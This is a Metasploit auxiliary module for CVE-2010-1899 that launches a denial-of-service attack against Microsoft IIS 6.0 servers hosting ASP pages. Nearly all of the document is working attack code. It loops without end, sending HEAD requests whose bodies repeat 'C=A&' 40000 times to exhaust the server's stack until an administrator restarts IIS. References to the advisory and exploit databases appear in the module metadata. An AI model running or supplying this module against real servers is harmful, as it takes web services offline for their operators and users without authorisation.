Microsoft IIS 6.0 ASP Stack Exhaustion Denial of Service

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::Tcp  
include Msf::Auxiliary::Dos  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Microsoft IIS 6.0 ASP Stack Exhaustion Denial of Service',  
'Description' => %q{  
The vulnerability allows remote unauthenticated attackers to force the IIS server  
to become unresponsive until the IIS service is restarted manually by the administrator.  
Required is that Active Server Pages are hosted by the IIS and that an ASP script reads  
out a Post Form value.  
},  
'Author' =>  
[  
'Heyder Andrade <heyder[at]alligatorteam.org>',  
'Leandro Oliveira <leadro[at]alligatorteam.org>'  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2010-1899' ],  
[ 'OSVDB', '67978'],  
[ 'MSB', 'MS10-065'],  
[ 'EDB', '15167' ]  
],  
'DisclosureDate' => '2010-09-14'))  
  
register_options(  
[  
Opt::RPORT(80),  
OptString.new('VHOST', [ false, 'The virtual host name to use in requests']),  
OptString.new('URI', [ true, 'URI to request', '/page.asp' ])  
])  
end  
  
  
def run  
uri = datastore['URI']  
print_status("Attacking http://#{datastore['VHOST'] || rhost}:#{rport}#{uri}")  
  
begin  
while(1)  
begin  
connect  
payload = "C=A&" * 40000  
length = payload.size  
sploit = "HEAD #{uri} HTTP/1.1\r\n"  
sploit << "Host: #{datastore['VHOST'] || rhost}\r\n"  
sploit << "Connection:Close\r\n"  
sploit << "Content-Type: application/x-www-form-urlencoded\r\n"  
sploit << "Content-Length:#{length} \r\n\r\n"  
sploit << payload  
sock.put(sploit)  
#print_status("DoS packet sent.")  
disconnect  
rescue Errno::ECONNRESET  
next  
end  
end  
rescue Errno::EPIPE  
print_good("IIS should now be unavailable")  
end  
end  
end  
`